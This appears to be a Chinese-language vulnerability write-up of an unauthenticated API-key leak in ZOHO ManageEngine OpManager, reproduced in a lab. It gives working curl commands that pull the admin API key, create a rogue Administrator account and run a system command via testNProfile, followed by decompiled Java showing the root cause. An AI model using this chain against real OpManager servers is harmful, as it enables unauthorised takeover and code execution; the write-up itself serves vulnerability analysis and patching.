type
Post
status
Published
date
Dec 14, 2022
slug
summary
tags
漏洞
业务安全
category
漏洞分析
icon
password
Property
Feb 9, 2023 07:26 AM

漏洞描述

ZOHO ManageEngine OpManager是美国卓豪(ZOHO)公司的一套网络、服务器及虚拟化监控软件。
Zoho ManageEngine OpManager 125120之前版本中存在安全漏洞。攻击者可借助servlet的调用利用该漏洞检索API密钥。

影响版本

OpManager < 125120

环境搭建

本次漏洞复现环境及应用下载地址如下:https://archives3.manageengine.com/network-monitoring/125010/
搭建完成后,效果如图
notion image

漏洞复现

通过未授权接口获取admin管理员的apikey值
curl -v 'http://192.168.81.206:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'
notion image
利用这个admin的apikey值查看admin用户的相关信息
curl 'http://192.168.81.206:8060/api/json/nfausers/getAllUsers?apiKey=4dbba1c2d3570e6d8a498fdd0a5ea572'
notion image
接着,我们可以利用这个admin的apikey值去增加一个同管理员权限的test用户
url -k 'http://192.168.81.206:8060/api/json/v2/admin/addUser' -d 'userName=test&privilege=Administrator&emailId=mail@localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=true&password=test123&apiKey=4dbba1c2d3570e6d8a498fdd0a5ea572'
notion image
利用test登录可看到确实与admin权限即最高权限一样
notion image
登录之后我们可以获取test用户的cookie和X-ZCSRF-TOKEN,最后利用这两个用户认证的值去实现命令执行
curl 'http://192.168.81.206:8060/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=dcee164a93263819019993ffbcf11fefcf22b4f72af0591c0dee6a9f8d922be4a5ca3d716707c340415a7d99cfe23e13335f349b280588f31f5e406d28390413' -H 'Cookie: JSESSIONID=8D80215151259E640D2D7486FDC0B2CD; signInAutomatically=true; NFA__SSO=6A96B3E90B50729D7EF859264DB2FBEA; 431EAFF8D6F5C789B3EEACB612211812=NDEzZDYwNDU2YjQ1MWU3Yzg3ZDY5ZTI3OTMwZDAyZjQ2NmI1NDBiZjFjZjkyZDk1NmRjMDY2ZjM4NWI0MTgzYTA3ZDliNDdiODlmYjU2MDJlYWIzZWU0N2MxMDk0NDAzZGQ2MmY2NDZhNjJjYTA5YWEzZWVmMTI5YzIyODNiZmE2NDU5NDFiZDZkNTY5OTc5MzM0ZDZiNmVhMWRjYzk3Y2Y0OTA4OWUx; opmcsrfcookie=dcee164a93263819019993ffbcf11fefcf22b4f72af0591c0dee6a9f8d922be4a5ca3d716707c340415a7d99cfe23e13335f349b280588f31f5e406d28390413' --data '&append=true&command=whoami>C:\\Users\\win10\\Desktop\\test.txt&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.1&twoption=All&profileType=Run System Command&name=POP
notion image
利用效果如下图
notion image

漏洞成因

首先admin的apikey值泄露漏洞点位于web.xml中servlet组件中的OpManagerIp/servlet/sendData
<servlet> <servlet-name>sendData</servlet-name> <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class> </servlet>
这个servlet的jar包又位于/opt/ManageEngine/OpManager/lib/FirewallService.jar。定位到漏洞代码块,如下:
public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException { this.processRequest(req, res); } private void processRequest(final HttpServletRequest req, final HttpServletResponse res) { if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) { System.out.println(" WARNING: Installation is not of type Distributed Server. "); return; } if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) { SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return"); return; } res.resetBuffer(); res.reset(); final String adminBuild = req.getParameter("adminBuild"); if (adminBuild != null) { *** snipped *** } OutputStream outStream = null; try { final String toProcess = req.getParameter("process"); final String eeLicExStatus = req.getParameter("fwaDEcountEx"); if ("applyLic".equals(toProcess)) { *** snipped *** } else { *** snipped *** final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled")); final boolean isApikeyNeeded = "true".equals(req.getParameter("key")); this.processCentralArchiveRequest(req); outStream = (OutputStream)res.getOutputStream(); this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE if (isCentralArchiveEnabled) { this.dataSyncHandler.sync("archive", null, outStream); } if (isApikeyNeeded) { this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO } if (eeLicExStatus != null) { FirewallConstants.setFwDELicStatus(eeLicExStatus); this.invokeUIReload(eeLicExStatus); } } }
从上面的代码中我们可以清楚地看到,servlet调用了dataSyncHandler类中的一个函数,并带有用户控制的变量,dataSyncHandler类有一个名为sync的函数,它基本上是从服务器查询数据并发回给我们的。这个函数的第一个参数决定了我们请求什么类型的数据,在我们的例子中,参数由我们在第一次调用(第一个错误)中定义,并在第二次调用(第二个错误)中设置为 apikey。更有趣的是在第二个错误中,servlet 将我们的用户参数传递给函数,该函数允许我们通过将该参数设置为 admin 来获取 admin API 密钥。
dataSyncHandler类中的sync方法代码如下:
// </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java @Override public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException { if ("sData".equals(toProcess)) { this.syncData(out); } else if ("apikey".equals(toProcess)) { this.getApikey(addlParam, out); } else if ("rPtr".equals(toProcess)) { this.clearAndUpdate(out); } else if ("del".equals(toProcess)) { this.saveDeletedInfo(); } else if ("archive".equals(toProcess)) { this.syncArchive(out); } else { if (!"mstat".equals(toProcess)) { throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing"); } DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server"); this.getLicStatus(out); } } private void getApikey(final String user, final OutputStream out) throws EnterpriseException { try { out.write("\nkey=Start\n".getBytes()); out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes()); } catch (Exception exp) { throw new EnterpriseException("Error occured while getting apikey", exp); } }
Apache ShenYu Admin身份验证绕过漏洞(CVE-2021-37580)Nodejs squirrelly模版注入漏洞(CVE-2021-32819)